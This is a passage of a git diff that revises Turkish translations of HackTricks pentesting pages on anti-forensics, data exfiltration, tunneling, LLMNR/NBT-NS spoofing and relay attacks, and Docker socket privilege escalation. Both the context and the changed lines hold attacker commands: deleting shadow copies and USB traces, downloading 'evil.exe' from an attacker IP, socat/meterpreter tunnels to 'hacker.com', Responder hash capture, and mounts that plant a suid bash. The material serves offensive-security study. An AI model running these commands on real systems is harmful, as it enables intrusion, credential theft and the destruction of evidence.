vardır (_Y <=X_). ``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md index 0a2b9c8ec..2c562c8ec 100644 --- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -3,15 +3,15 @@ # Zaman Damgaları Bir saldırgan, **dosyaların zaman damgalarını değiştirmekle** ilgilenebilir.\ -Zaman damgalarını, MFT içinde `$STANDARD_INFORMATION` **ve** `$FILE_NAME` özniteliklerinde bulmak mümkündür. +Zaman damgalarını, `$STANDARD_INFORMATION`**ve**`$FILE_NAME` öznitelikleri içinde MFT'de bulmak mümkündür. -Her iki öznitelik de 4 zaman damgasına sahiptir: **Değiştirme**, **erişim**, **oluşturma** ve **MFT kayıt değişikliği** (MACE veya MACB). +Her iki öznitelikte de 4 zaman damgası vardır: **Değiştirme**, **erişim**, **oluşturma** ve **MFT kayıt değişikliği** (MACE veya MACB). **Windows Gezgini** ve diğer araçlar, **`$STANDARD_INFORMATION`** içindeki bilgileri gösterir. ## TimeStomp - Anti-forensic Aracı -Bu araç, **`$STANDARD_INFORMATION`** içindeki zaman damgası bilgilerini **değiştirir** **ancak** **`$FILE_NAME`** içindeki bilgileri **değiştirmez**. Bu nedenle, **şüpheli** **etkinlikleri** **belirlemek** mümkündür. +Bu araç, **`$STANDARD_INFORMATION`** içindeki zaman damgası bilgilerini **değiştirir** **ama** **`$FILE_NAME`** içindeki bilgileri **değiştirmez**. Bu nedenle, **şüpheli** **etkinlikleri** **belirlemek** mümkündür. ## Usnjrnl @@ -19,7 +19,7 @@ Bu araç, **`$STANDARD_INFORMATION`** içindeki zaman damgası bilgilerini **de ![](<../../images/image (449).png>) -Önceki görüntü, dosya üzerinde bazı **değişikliklerin yapıldığını** gözlemleyebileceğimiz **aracın** gösterdiği **çıktıdır**. +Önceki resim, dosya üzerinde bazı **değişikliklerin yapıldığını** gözlemleyebileceğimiz **aracın** gösterdiği **çıktıdır**. ## $LogFile @@ -52,7 +52,7 @@ Bu araç, hem `$STARNDAR_INFORMATION` hem de `$FILE_NAME` özniteliklerini deği # Veri Gizleme -NFTS, bir küme ve minimum bilgi boyutu kullanır. Bu, bir dosya bir buçuk küme kaplıyorsa, **kalan yarının asla kullanılmayacağı** anlamına gelir. Bu nedenle, bu boşlukta **veri gizlemek mümkündür**. +NFTS, bir küme ve minimum bilgi boyutu kullanır. Bu, bir dosya bir buçuk küme kapladığında, **kalan yarımın asla kullanılmayacağı** anlamına gelir, ta ki dosya silinene kadar. Bu nedenle, bu boşlukta **veri gizlemek mümkündür**. Slacker gibi, bu "gizli" alanda veri gizlemeye olanak tanıyan araçlar vardır. Ancak, `$logfile` ve `$usnjrnl` analizi, bazı verilerin eklendiğini gösterebilir: @@ -63,7 +63,7 @@ Bu nedenle, FTK Imager gibi araçlar kullanarak boş alanı geri almak mümkünd # UsbKill Bu, **USB** portlarında herhangi bir değişiklik tespit edildiğinde bilgisayarı **kapatan** bir araçtır.\ -Bunu keşfetmenin bir yolu, çalışan süreçleri incelemek ve **her bir python betiğini gözden geçirmektir**. +Bunu keşfetmenin bir yolu, çalışan süreçleri incelemek ve **her bir çalışan python betiğini gözden geçirmektir**. # Canlı Linux Dağıtımları @@ -75,7 +75,7 @@ Bu dağıtımlar, **RAM** belleği içinde **çalıştırılır**. Onları tespi # Windows Yapılandırması -Adli soruşturmayı çok daha zor hale getirmek için birçok Windows günlüğü yöntemini devre dışı bırakmak mümkündür. +Adli soruşturmayı çok daha zor hale getirmek için birçok Windows günlükleme yöntemini devre dışı bırakmak mümkündür. ## Zaman Damgalarını Devre Dışı Bırak - UserAssist @@ -102,27 +102,27 @@ Bir NTFS hacminden bir klasör açıldığında, sistem, listedeki her klasör i 1. Kayıt Defteri Düzenleyicisini (Regedit.exe) açın. 2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem` yoluna gidin. -3. `NtfsDisableLastAccessUpdate` anahtarını arayın. Eğer yoksa, bu DWORD'u ekleyin ve değerini 1 olarak ayarlayın, bu işlem devre dışı bırakılacaktır. +3. `NtfsDisableLastAccessUpdate`'i arayın. Eğer yoksa, bu DWORD'u ekleyin ve değerini 1 olarak ayarlayın, bu işlemi devre dışı bırakacaktır. 4. Kayıt Defteri Düzenleyicisini kapatın ve sunucuyu yeniden başlatın. ## USB Geçmişini Sil -Tüm **USB Aygıt Girişleri**, bir USB Aygıtını PC veya dizüstü bilgisayarınıza taktığınızda oluşturulan alt anahtarları içeren **USBSTOR** kayıt anahtarı altında Windows Kayıt Defteri'nde saklanır. Bu anahtarı burada bulabilirsiniz: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Bunu silerek**, USB geçmişini sileceksiniz.\ -Ayrıca, silindiğinizden emin olmak için [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) aracını kullanabilirsiniz (ve silmek için). +Tüm **USB Aygıt Girişleri**, bir USB Aygıtını PC veya Dizüstü Bilgisayarınıza taktığınızda oluşturulan alt anahtarları içeren **USBSTOR** kayıt anahtarı altında Windows Kayıt Defteri'nde saklanır. Bu anahtarı burada bulabilirsiniz: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Bunu silerek** USB geçmişini sileceksiniz.\ +Ayrıca, bunları sildiğinizden emin olmak için [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) aracını da kullanabilirsiniz (ve silmek için). USB'ler hakkında bilgi kaydeden bir diğer dosya, `C:\Windows\INF` içindeki `setupapi.dev.log` dosyasıdır. Bu dosya da silinmelidir. ## Gölge Kopyalarını Devre Dışı Bırak -**Gölge kopyaları listeleyin**: `vssadmin list shadowstorage`\ -**Silin**: `vssadmin delete shadow` +**Gölge kopyaları** listelemek için `vssadmin list shadowstorage`\ +**Silmek** için `vssadmin delete shadow` komutunu çalıştırın. Ayrıca, [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) adresinde önerilen adımları izleyerek GUI üzerinden de silebilirsiniz. -Gölge kopyalarını devre dışı bırakmak için [buradaki adımları](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows) izleyebilirsiniz: +Gölge kopyalarını devre dışı bırakmak için [buradaki adımları](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows) izleyin: 1. Windows başlat düğmesine tıkladıktan sonra metin arama kutusuna "services" yazarak Hizmetler programını açın. -2. Listeden "Volume Shadow Copy"yi bulun, seçin ve sağ tıklayarak Özellikler'e erişin. +2. Listeden "Hacim Gölge Kopyası"nı bulun, seçin ve sağ tıklayarak Özellikler'e erişin. 3. "Başlangıç türü" açılır menüsünden Devre Dışı seçeneğini seçin ve ardından değişikliği onaylamak için Uygula ve Tamam'a tıklayın. Hangi dosyaların gölge kopyasında kopyalanacağını yapılandırmayı da kayıt defterinde `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` ile değiştirmek mümkündür. diff --git a/src/generic-hacking/exfiltration.md b/src/generic-hacking/exfiltration.md index 61917b14f..1e2d0ffdf 100644 --- a/src/generic-hacking/exfiltration.md +++ b/src/generic-hacking/exfiltration.md @@ -4,7 +4,7 @@ ## Bilgi sızdırmak için yaygın olarak beyaz listeye alınmış alanlar -Sıkça beyaz listeye alınmış ve kötüye kullanılabilecek alanları bulmak için [https://lots-project.com/](https://lots-project.com/) adresini kontrol edin. +Sıkça kötüye kullanılabilecek beyaz listeye alınmış alanları bulmak için [https://lots-project.com/](https://lots-project.com/) adresini kontrol edin. ## Copy\&Paste Base64 @@ -150,7 +150,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` -Veya **samba** kullanarak bir smb paylaşımı oluşturun: +Ya da **samba** kullanarak bir smb paylaşımı oluşturun: ```bash apt-get install samba mkdir /tmp/smb @@ -296,14 +296,18 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` ## Debug.exe -`debug.exe` programı yalnızca ikili dosyaların incelenmesine izin vermekle kalmaz, aynı zamanda **hex'ten yeniden inşa etme yeteneğine de sahiptir**. Bu, bir ikilinin hex'ini sağlayarak, `debug.exe`'nin ikili dosyayı oluşturabileceği anlamına gelir. Ancak, debug.exe'nin **64 kb boyutuna kadar dosyaları birleştirme sınırlaması** olduğunu belirtmek önemlidir. +`debug.exe` programı yalnızca ikili dosyaların incelenmesine izin vermekle kalmaz, aynı zamanda **hex'ten yeniden inşa etme yeteneğine de sahiptir**. Bu, bir ikilinin hex'ini sağlayarak, `debug.exe`'nin ikili dosya oluşturabileceği anlamına gelir. Ancak, debug.exe'nin **64 kb boyutuna kadar dosyaları birleştirme sınırlaması** olduğunu belirtmek önemlidir. ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` -Sonra metni windows-shell'e kopyalayıp yapıştırın ve nc.exe adında bir dosya oluşturulacaktır. +Sonra metni windows-shell'e kopyala-yapıştır yap ve nc.exe adında bir dosya oluşturulacak. + +- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) ## DNS +- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index d67155ff6..8d981a235 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -51,7 +51,7 @@ sudo ssh -L 631::631 -N -f -l ``` ### Port2hostnet (proxychains) -Yerel Port --> Ele geçirilmiş host (SSH) --> Herhangi bir yer +Yerel Port --> Ele geçirilmiş host (SSH) --> Herhangi bir yere ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` @@ -68,7 +68,7 @@ ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN ``` ### VPN-Tüneli -Her iki cihazda da **root erişimine** ihtiyacınız var (çünkü yeni arayüzler oluşturacaksınız) ve sshd yapılandırması root girişine izin vermelidir:\ +Her iki cihazda da **root erişimine** ihtiyacınız var (çünkü yeni arayüzler oluşturacaksınız) ve sshd yapılandırmasının root girişine izin vermesi gerekiyor:\ `PermitRootLogin yes`\ `PermitTunnel yes` ```bash @@ -134,7 +134,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ### SOCKS proxy -Trafiği **beacon üzerinden yönlendirmek** için kullanılabilecek tüm arayüzlerde teamserver'da bir port açın. +Tüm arayüzlerde dinleyen bir port açın, bu port **beacon üzerinden trafiği yönlendirmek için** kullanılabilir. ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -145,7 +145,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ### rPort2Port > [!WARNING] -> Bu durumda, **port beacon host'ta açılır**, Team Server'da değil ve trafik Team Server'a gönderilir ve oradan belirtilen host:port'a iletilir. +> Bu durumda, **port beacon ana bilgisayarında açılır**, Team Server'da değil ve trafik Team Server'a gönderilir ve oradan belirtilen host:port'a iletilir. ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] @@ -153,14 +153,14 @@ rportfwd stop [bind port] Not edilmesi gerekenler: - Beacon'ın ters port yönlendirmesi, **bireysel makineler arasında iletim için değil, Team Server'a trafik tünellemek için tasarlanmıştır**. -- Trafik, **Beacon'ın C2 trafiği içinde tünellenir**, P2P bağlantıları dahil. +- Trafik, **Beacon'ın C2 trafiği içinde tünellenir**, P2P bağlantıları da dahil. - Yüksek portlarda ters port yönlendirmeleri oluşturmak için **yönetici ayrıcalıkları gerekmez**. ### rPort2Port yerel > [!WARNING] > Bu durumda, **port beacon ana bilgisayarında açılır**, Team Server'da değil ve **trafik Cobalt Strike istemcisine gönderilir** (Team Server'a değil) ve oradan belirtilen host:port'a iletilir. -``` +```bash rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` @@ -237,7 +237,7 @@ interface_add_route --name "ligolo" --route 240.0.0.1/32 [https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot) -Ters tünel. Tünel, kurban tarafından başlatılır.\ +Ters tünel. Tünel kurban tarafından başlatılır.\ 127.0.0.1:1080 adresinde bir socks4 proxy oluşturulur. ```bash attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 @@ -246,7 +246,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127 ```bash victim> python client.py --server-ip --server-port 9999 ``` -**NTLM proxy** üzerinden geçiş yapma +**NTLM proxy** üzerinden geçiş yapın ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` @@ -286,7 +286,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` -**Kimlik doğrulaması yapılmamış bir proxy'yi** atlamak için, kurbanın konsolundaki son satır yerine bu satırı çalıştırabilirsiniz: +Bir **kimlik doğrulaması yapılmamış proxy**'yi, kurbanın konsolundaki son satırın yerine bu satırı çalıştırarak atlayabilirsiniz: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` @@ -320,9 +320,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o ``` ## Plink.exe -Bu, bir konsol PuTTY versiyonuna benzer (seçenekler, bir ssh istemcisine çok benzer). +Konsol PuTTY versiyonu gibidir (seçenekler bir ssh istemcisine çok benzer). -Bu ikili dosya kurban üzerinde çalıştırılacağından ve bir ssh istemcisi olduğundan, ters bağlantı kurabilmemiz için ssh hizmetimizi ve portumuzu açmamız gerekiyor. Ardından, yalnızca yerel olarak erişilebilir bir portu makinemizdeki bir porta yönlendirmek için: +Bu ikili dosya kurban üzerinde çalıştırılacağı için ve bir ssh istemcisi olduğu için, ters bağlantı kurabilmemiz için ssh hizmetimizi ve portumuzu açmamız gerekiyor. Ardından, yalnızca yerel olarak erişilebilir bir portu makinemizdeki bir porta yönlendirmek için: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 @@ -343,7 +343,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 ``` ## SocksOverRDP & Proxifier -**Sisteme RDP erişiminiz olmalıdır.**\ +**Sisteme RDP erişiminiz olmalıdır**.\ İndirin: 1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Bu araç, Windows'un Uzak Masaüstü Servisi özelliğinden `Dynamic Virtual Channels` (`DVC`) kullanır. DVC, **RDP bağlantısı üzerinden paketleri tünellemekten** sorumludur. @@ -354,9 +354,9 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` -Artık **`mstsc.exe`** kullanarak **RDP** üzerinden **kurban** ile **bağlanabiliriz** ve **SocksOverRDP eklentisinin etkin olduğu** belirten bir **istem** alacağız ve bu **127.0.0.1:1080** adresinde **dinleyecektir**. +Artık **`mstsc.exe`** kullanarak **RDP** üzerinden **kurban** ile **bağlanabiliriz** ve **SocksOverRDP eklentisinin etkin olduğu** belirten bir **istem** alacağız, bu **127.0.0.1:1080** adresinde **dinleyecektir**. -**RDP** üzerinden **bağlanın** ve kurban makinesine `SocksOverRDP-Server.exe` ikilisini yükleyip çalıştırın: +**RDP** üzerinden **bağlanın** ve kurban makinesine `SocksOverRDP-Server.exe` ikili dosyasını yükleyip çalıştırın: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` @@ -383,7 +383,7 @@ http-proxy 8080 ntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) -Bir proxy'ye karşı kimlik doğrulaması yapar ve belirttiğiniz dış hizmete yönlendirilmiş olarak yerel olarak bir port bağlar. Ardından, bu port üzerinden tercih ettiğiniz aracı kullanabilirsiniz.\ +Bir proxy'ye karşı kimlik doğrulaması yapar ve belirttiğiniz dış hizmete yönlendirilmiş yerel bir port bağlar. Ardından, bu port üzerinden tercih ettiğiniz aracı kullanabilirsiniz.\ Örneğin, 443 portunu yönlendirin. ``` Username Alice @@ -399,7 +399,7 @@ Ayrıca, localhost:443'e bağlanan bir **meterpreter** kullanabilir ve saldırga Microsoft tarafından oluşturulmuş bir ters proxy. Bunu burada bulabilirsiniz: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) -## DNS Tünelleme +## DNS Tunneling ### Iodine @@ -513,8 +513,8 @@ _Gerekirse kimlik doğrulama ve TLS eklemek de mümkündür._ ``` #### HTTP çağrılarını dinleme -_XSS, SSRF, SSTI için faydalıdır ..._\ -stdout'dan veya HTTP arayüzünden [http://127.0.0.1:4040](http://127.0.0.1:4000) doğrudan. +_XSS, SSRF, SSTI ... için faydalıdır._\ +Stdout'tan veya HTTP arayüzünden [http://127.0.0.1:4040](http://127.0.0.1:4000) doğrudan. #### Dahili HTTP hizmetini tünelleme ```bash diff --git a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index c3a623fea..a0116a54c 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -1,4 +1,4 @@ -# LLMNR, NBT-NS, mDNS/DNS ve WPAD Spoofing ve Relay Saldırıları +# LLMNR, NBT-NS, mDNS/DNS ve WPAD ile Relay Saldırılarını Taklit Etme {{#include ../../banners/hacktricks-training.md}} @@ -8,14 +8,14 @@ - **LLMNR, NBT-NS ve mDNS**: - Microsoft ve diğer işletim sistemleri, DNS başarısız olduğunda yerel ad çözümlemesi için LLMNR ve NBT-NS kullanır. Benzer şekilde, Apple ve Linux sistemleri mDNS kullanır. -- Bu protokoller, UDP üzerinden kimlik doğrulaması yapılmamış, yayın doğası nedeniyle dinlemeye ve sahtelemeye karşı hassastır. +- Bu protokoller, UDP üzerinden kimlik doğrulaması yapılmamış, yayın doğası nedeniyle dinleme ve taklit edilme riski taşır. - [Responder](https://github.com/lgandx/Responder), bu protokolleri sorgulayan ana bilgisayarlara sahte yanıtlar göndererek hizmetleri taklit etmek için kullanılabilir. - Responder kullanarak hizmet taklitine dair daha fazla bilgi [burada](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) bulunabilir. ### Web Proxy Otomatik Keşif Protokolü (WPAD) - WPAD, tarayıcıların proxy ayarlarını otomatik olarak keşfetmesine olanak tanır. -- Keşif, DHCP, DNS veya DNS başarısız olursa LLMNR ve NBT-NS'ye geri dönerek sağlanır. +- Keşif, DHCP, DNS veya DNS başarısız olursa LLMNR ve NBT-NS'ye geri dönerek gerçekleştirilir. - Responder, WPAD saldırılarını otomatikleştirerek istemcileri kötü niyetli WPAD sunucularına yönlendirebilir. ### Protokol Zehirleme için Responder @@ -36,27 +36,27 @@ ### Responder ile DHCP Zehirleme -- DHCP yanıtlarını sahtelemek, bir kurbanın yönlendirme bilgilerini kalıcı olarak zehirleyebilir ve ARP zehirlemesine göre daha gizli bir alternatif sunar. +- DHCP yanıtlarını taklit etmek, bir kurbanın yönlendirme bilgilerini kalıcı olarak zehirleyebilir ve ARP zehirlemesine göre daha gizli bir alternatif sunar. - Hedef ağın yapılandırması hakkında kesin bilgi gerektirir. - Saldırıyı çalıştırma: `./Responder.py -I eth0 -Pdv` -- Bu yöntem, NTLMv1/2 hash'lerini etkili bir şekilde yakalayabilir, ancak ağ kesintisini önlemek için dikkatli bir şekilde ele alınması gerekir. +- Bu yöntem, NTLMv1/2 hash'lerini etkili bir şekilde yakalayabilir, ancak ağ kesintisini önlemek için dikkatli bir şekilde ele alınmalıdır. ### Responder ile Kimlik Bilgilerini Yakalama -- Responder, yukarıda belirtilen protokolleri kullanarak hizmetleri taklit edecek ve bir kullanıcı sahte hizmetlere karşı kimlik doğrulama yapmaya çalıştığında kimlik bilgilerini (genellikle NTLMv2 Challenge/Response) yakalayacaktır. +- Responder, yukarıda belirtilen protokolleri kullanarak hizmetleri taklit edecek ve bir kullanıcı taklit edilen hizmetlere kimlik doğrulama yapmaya çalıştığında kimlik bilgilerini (genellikle NTLMv2 Challenge/Response) yakalayacaktır. - Daha kolay kimlik bilgisi kırma için NetNTLMv1'e düşürme veya ESS'yi devre dışı bırakma girişimleri yapılabilir. Bu tekniklerin yasal ve etik bir şekilde uygulanması, uygun yetkilendirme sağlanması ve kesinti veya yetkisiz erişimden kaçınılması açısından kritik öneme sahiptir. ## Inveigh -Inveigh, Windows sistemleri için tasarlanmış bir penetrasyon test cihazı ve kırmızı takım aracı. Responder ile benzer işlevler sunarak sahteleme ve adam ortada saldırıları gerçekleştirir. Araç, bir PowerShell betiğinden C# ikili dosyasına evrim geçirmiştir ve [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) ve [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) ana sürümleridir. Ayrıntılı parametreler ve talimatlar [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) sayfasında bulunabilir. +Inveigh, Windows sistemleri için tasarlanmış bir penetrasyon test cihazı ve kırmızı takım aracı. Responder ile benzer işlevsellikler sunarak taklit etme ve adam ortada saldırıları gerçekleştirmektedir. Araç, bir PowerShell betiğinden C# ikili dosyasına evrilmiştir ve [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) ve [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) ana sürümleridir. Ayrıntılı parametreler ve talimatlar [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) sayfasında bulunabilir. Inveigh, PowerShell üzerinden çalıştırılabilir: -```powershell +```bash Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y ``` -Veya bir C# ikili dosyası olarak çalıştırıldı: +C# ikili dosyası olarak da çalıştırılabilir: ```bash Inveigh.exe ``` @@ -89,11 +89,11 @@ beacon> socks stop ``` ### NTLM Relay Saldırısı için Diğer Araçlar -- **Metasploit**: Proxy'ler, yerel ve uzak ana bilgisayar ayrıntıları ile yapılandırılmıştır. +- **Metasploit**: Proxiler, yerel ve uzak ana bilgisayar ayrıntıları ile yapılandırılmıştır. - **smbrelayx**: SMB oturumlarını iletmek ve komutları çalıştırmak veya arka kapılar dağıtmak için bir Python betiği. - **MultiRelay**: Belirli kullanıcıları veya tüm kullanıcıları iletmek, komutları çalıştırmak veya hash'leri dökmek için Responder paketinden bir araç. -Her araç, gerekirse bir SOCKS proxy üzerinden çalışacak şekilde yapılandırılabilir, dolaylı ağ erişimi ile bile saldırılara olanak tanır. +Her bir araç, gerekirse bir SOCKS proxy üzerinden çalışacak şekilde yapılandırılabilir, dolaylı ağ erişimi ile bile saldırılara olanak tanır. ### MultiRelay İşlemi diff --git a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index 94b1ec911..8a0db1757 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -2,15 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -Sadece **docker soketine erişiminiz** olduğu ve bunu **yetki yükseltmek** için kullanmak istediğiniz bazı durumlar vardır. Bazı eylemler çok şüpheli olabilir ve bunlardan kaçınmak isteyebilirsiniz, bu nedenle burada yetki yükseltmek için faydalı olabilecek farklı bayraklar bulabilirsiniz: +Bazı durumlarda sadece **docker soketine erişiminiz** vardır ve bunu **yetki yükseltmek** için kullanmak istersiniz. Bazı eylemler çok şüpheli olabilir ve bunlardan kaçınmak isteyebilirsiniz, bu nedenle burada yetki yükseltmek için faydalı olabilecek farklı bayraklar bulabilirsiniz: ### Mount Üzerinden -Kök olarak çalışan bir konteynerde **dosya sisteminin** farklı bölümlerini **mount** edebilir ve bunlara **erişebilirsiniz**.\ +Bir konteynerde root olarak çalışan **dosya sisteminin** farklı kısımlarını **mount** edebilir ve onlara **erişebilirsiniz**.\ Ayrıca konteyner içinde **yetki yükseltmek için bir mount'ı istismar edebilirsiniz**. -- **`-v /:/host`** -> Konteynerde ana bilgisayar dosya sistemini mount ederek **ana bilgisayar dosya sistemini okuyabilirsiniz.** -- Ana bilgisayarda **bulunduğunuz hissini** yaşamak istiyorsanız ancak konteynerde iseniz, aşağıdaki bayrakları kullanarak diğer savunma mekanizmalarını devre dışı bırakabilirsiniz: +- **`-v /:/host`** -> Konteynerde ana bilgisayar dosya sistemini mount edin, böylece **ana bilgisayar dosya sistemini okuyabilirsiniz.** +- Eğer **ana bilgisayarda olduğunuzu hissetmek** ama konteynerde olmak istiyorsanız, aşağıdaki bayrakları kullanarak diğer savunma mekanizmalarını devre dışı bırakabilirsiniz: - `--privileged` - `--cap-add=ALL` - `--security-opt apparmor=unconfined` @@ -20,24 +20,24 @@ Ayrıca konteyner içinde **yetki yükseltmek için bir mount'ı istismar edebil - `--userns=host` - `--uts=host` - `--cgroupns=host` -- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Bu, önceki yönteme benzer, ancak burada **cihaz diskini mount ediyoruz**. Daha sonra konteyner içinde `mount /dev/sda1 /mnt` komutunu çalıştırarak **/mnt** içinde **ana bilgisayar dosya sistemine erişebilirsiniz.** +- **`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined`** -> Bu, önceki yönteme benzer, ancak burada **cihaz diskini mount ediyoruz**. Daha sonra konteyner içinde `mount /dev/sda1 /mnt` komutunu çalıştırın ve **/mnt** içinde **ana bilgisayar dosya sistemine erişebilirsiniz.** - Mount etmek için `` cihazını bulmak için ana bilgisayarda `fdisk -l` komutunu çalıştırın. -- **`-v /tmp:/host`** -> Herhangi bir nedenle sadece ana bilgisayardan **bir dizini mount edebiliyorsanız** ve ana bilgisayarda erişiminiz varsa, bunu mount edin ve mount edilen dizinde **suid** ile bir **`/bin/bash`** oluşturun, böylece **ana bilgisayardan çalıştırabilir ve root'a yükselebilirsiniz.** +- **`-v /tmp:/host`** -> Eğer bir nedenle sadece ana bilgisayardan **bir dizini mount edebiliyorsanız** ve ana bilgisayar içinde erişiminiz varsa. Mount edin ve mount edilen dizinde **suid** ile bir **`/bin/bash`** oluşturun, böylece **ana bilgisayardan çalıştırabilir ve root'a yükselebilirsiniz.** > [!NOTE] -> `/tmp` klasörünü mount edemeyebileceğinizi, ancak **farklı bir yazılabilir klasörü** mount edebileceğinizi unutmayın. Yazılabilir dizinleri bulmak için: `find / -writable -type d 2>/dev/null` kullanabilirsiniz. +> `/tmp` klasörünü mount edemeyebileceğinizi, ancak **farklı bir yazılabilir klasörü** mount edebileceğinizi unutmayın. Yazılabilir dizinleri bulmak için: `find / -writable -type d 2>/dev/null` komutunu kullanabilirsiniz. > -> **Bir linux makinesindeki tüm dizinlerin suid bitini desteklemeyeceğini unutmayın!** Hangi dizinlerin suid bitini desteklediğini kontrol etmek için `mount | grep -v "nosuid"` komutunu çalıştırın. Örneğin genellikle `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` ve `/var/lib/lxcfs` suid bitini desteklemez. +> **Unutmayın ki bir linux makinesindeki tüm dizinler suid bitini desteklemeyecektir!** Hangi dizinlerin suid bitini desteklediğini kontrol etmek için `mount | grep -v "nosuid"` komutunu çalıştırın. Örneğin genellikle `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` ve `/var/lib/lxcfs` suid bitini desteklemez. > -> Ayrıca **`/etc`** veya **konfigürasyon dosyalarını içeren** herhangi bir klasörü **mount edebiliyorsanız**, bunları docker konteynerinden root olarak değiştirerek **ana bilgisayarda istismar edebilir** ve yetki yükseltebilirsiniz (belki `/etc/shadow` dosyasını değiştirerek). +> Ayrıca **`/etc`** veya **konfigürasyon dosyalarını içeren** başka bir klasörü **mount edebiliyorsanız**, bunları docker konteynerinden root olarak değiştirip **ana bilgisayarda istismar edebilir** ve yetki yükseltebilirsiniz (belki `/etc/shadow` dosyasını değiştirerek). ### Konteynerden Kaçış - **`--privileged`** -> Bu bayrak ile [konteynerden tüm izolasyonu kaldırırsınız](docker-privileged.md#what-affects). [Yetkili konteynerlerden root olarak kaçış 